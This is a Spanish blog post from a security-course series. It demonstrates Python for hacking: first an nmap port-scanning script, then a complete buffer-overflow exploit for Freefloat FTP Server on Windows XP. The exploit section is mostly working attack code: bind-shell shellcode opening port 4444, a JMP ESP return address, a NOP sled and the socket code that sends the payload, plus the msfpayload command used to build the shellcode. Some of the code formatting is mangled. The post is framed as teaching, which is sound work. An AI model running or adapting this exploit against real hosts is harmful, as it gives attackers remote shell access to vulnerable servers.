banner

Python como lenguaje de Hacking y Defensa (II)

Continuamos con la segunda entrega del trabajo trabajo sobre python como lenguaje de Ataque y Defensa, realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. Ahora convertido en Máster de Seguridad TIC.

Como ya os contaba en el artículo anterior Fernando decidió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

En esta segunda parte Fernando entra en materia para explotar una vulnerabilidad conocida utilizando para ello python, modificará un exploit conocido escrito en python para agregarle un nuevo shellcode.

INDICE

2.2.1. Scanning de puertos: integración con nmap

Para instalar el módulo nmap basta con usar easy-install (un programa que instala librerías de Python) como sigue:
$easy_install python-nmap
Así, un script sencillo que escanee puertos usando la librería de nmap para Python sería como sigue:

Script NMAP python


Texto:
import optparse, nmap
class NmapScanner:
     def __init__(self): self.nmsc = nmap.PortScanner()

    def nmapScan(self, host, port): 
          self.nmsc.scan(host, port) 
          self.state = self.nmsc[host][’tcp’][int(port)][’state’] 
          print " [+] "+ host + " tcp/" + port + " " + self.state

def main():

parser = optparse.OptionParser("usage%prog " + "-H <target host> -p <target port>") 
parser.add_option(’-H’, dest = ’host’, type = ’string’, help = ’Please, specify the target host.’)
parser.add_option(’-p’, dest = ’ports’, type = ’string’, help = ’Please, specify the target port(s) separated by comma.’) (options, args) = parser.parse_args() if (options.host == None) | (options.ports == None): print ’[-] You must specify a target host and a target port(s).’ exit(0) host = options.host ports = options.ports.split(’,’)

 for port in ports: 
NmapScanner().nmapScan(host, port)

if __name__ == "__main__": 
   main()
--Cut here --

Ejecutamos nuestro script y el resultado es el siguiente tras escanear un equipo:

$ python nmapScanner.py -H 192.168.1.138 -p 21,22,23,80,443 [+] 192.168.1.138 tcp/21 closed [+] 192.168.1.138 tcp/22 open [+] 192.168.1.138 tcp/23 closed [+] 192.168.1.138 tcp/80 open [+] 192.168.1.138 tcp/443 closed
2.2.2. Creación de exploits, Python y exploitdn

Para este caso, vamos a aprovechar una vulnerabilidad conocida en el servidor FTP Free Float FTP Server para Windows XP SP 3. Usaremos exploitdb integrado en BackTrack 5 R3 para ver un exploit en Python que manipularemos para provocar un Buffer overflow en la máquina de la víctima abriendo el puerto TCP 4444 con el que conseguiremos conectarnos a su máquina por telnet.

Primero de todo en el sistema del atacante vamos a exploitdb y ejecutamos como sigue:

Description ----------------------------------------------
Freefloat FTP Server Buffer Overflow Vulnerability 0day
----------------------------------------------
Path ------------------------ /windows/remote/15689.py

Ya tenemos nuestro exploit en Python. Pero tenemos que adaptarlo a nuestro sistema. Todo exploit trata de sobreescribir el registro EIP (Extended Instruction Pointer) con instrucciones como JMP ESP o CALL ESP. En sistemas operativos como XP hay ciertas DLL que tienen algunas de estas instrucciones en una dirección de memoria fija (no usan ASLR). 

Nosotros buscaremos la instrucción JMP ESP en la librería KERNEL32.DLL, para lo cual nos apoyaremos en un programa llamado findjmp.exe que ejecutaremos en el equipo víctima (en un ataque real habría que probar con varias direcciones conocidas que pueden variar en función de la versión del sistema operativo y el idioma).

La siguiente figura muestra cómo ejecutar este programa para encontrar la dirección de JMP ESP:

FindJMP dirección JMP en KERNEL32.DLL WindowsXP SP3
Ahora modificamos el script que lanza el shellcode con la nueva dirección obtenida. El shellcode es código máquina en hexadecimal que abrirá el puerto en la máquina de la víctima. Para ubicarlo en la zona de memoria primero hay que provocar el buffer overflow con una secuencia de caracteres cuya longitud puede calcularse con ayuda de metasploit. Efectivamente, probamos con una cantidad de bytes lo suficientemente elevada que provoque un buffer overflow. Con dicha cantidad usamos un script en Ruby llamado pattern_create.rb.

Con ese patrón volvemos a lanzar el shellcode ejecutándo el servidor FTP con un debugger como ollydbg o immunitydebugger observamos lo que se ha escrito en el EIP y el ESP. Usando estos valores con el script pattern_offset.rb tendremos el offset exacto para sobreescribir EIP y ESP.

Además, otro script importante es Mona.py que genera una secuencia de caracteres entre \x00 y \xff . Con esa secuencia, dependiendo de como hayamos sobreescrito ESP, podemos averiguar si hay algunos caracteres raros que no se ejecutarán en la máquina víctima.

Así el creador del script le puede indicar a metasploit que le genere el shellcode sin esos carácteres raros:

# msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "CARACTERES RAROS" -t c
Con estos elementos el atacante ya tiene su script:

Texto
# Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability
 # Date: 12/05/2010 
# Author: 0v3r 
# Software Link:
 # http://www.freefloat.com/software/freefloatftpserver.zip 
# Tested on: Windows XP SP3 EN 
# CVE: N/A
#!/usr/bin/python

import socket 
import sys

def usage():
     print "usage : ./freefloatftp.py <victim_ip> <victim_port>" 
     print "example: ./freefloatftp.py 192.168.1.100 21"

#Bind Shell shellcode port 4444 

shellcode = 
("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" 
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

junk1 = "\x41" * 230 
eip = "\x7B\x46\x86\x7C" #7C86467B JMP ESP (findjmp.exe): 
nops = "\x90" * 16 
junk2 = "\x43" * (1000 - len(junk1 + eip + nops + shellcode)) 
buff = junk1 + eip + nops + shellcode + junk2 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\n" 
print "----------------------------------------------------" 
print "|Freefloat FTP Server Buffer Overflow Vulnerability|" 
print "----------------------------------------------------" 
print "\n"

if len(sys.argv) != 3: 
    usage() 
    sys.exit()

ip = sys.argv[1] 
port = sys.argv[2]

try: 
print("[-] Connecting to " + ip + " on port " + port + "\n") s.connect((ip,int(port))) data = s.recv(1024)       print("[-] Sending exploit...") s.send(’USER ’ + buff + ’\r\n’) s.close() print("[-] Exploit successfully sent...") print("[-] Connect to " + ip + " on port 4444") 

except: 
   print("[-] Connection error...") 
   print("[-] Check if victim is up.")

-- cut Here --

Ejecutamos el script pasando como argumentos la IP de la víctima y el puerto en el que está escuchando el servidor. El resultado se muestra en la siguiente figura:

Testing exploit - Shell Remota
Esto es todo con respecto a la utilización de python como herramienta de ataque (Hacking), en la ultima entrega Fernando nos hablará de como usar python como Defensa, pero esto será en el próximo artículo.

Un Saludo.
#ST2Labs

1 comentario :

  1. Me demoré 3 años para copiar el código NMAP y poder identarlo correctamente, además las comillas simples se convierten en puntos en una consola linux, igual gracias por el aporte!

    ResponderEliminar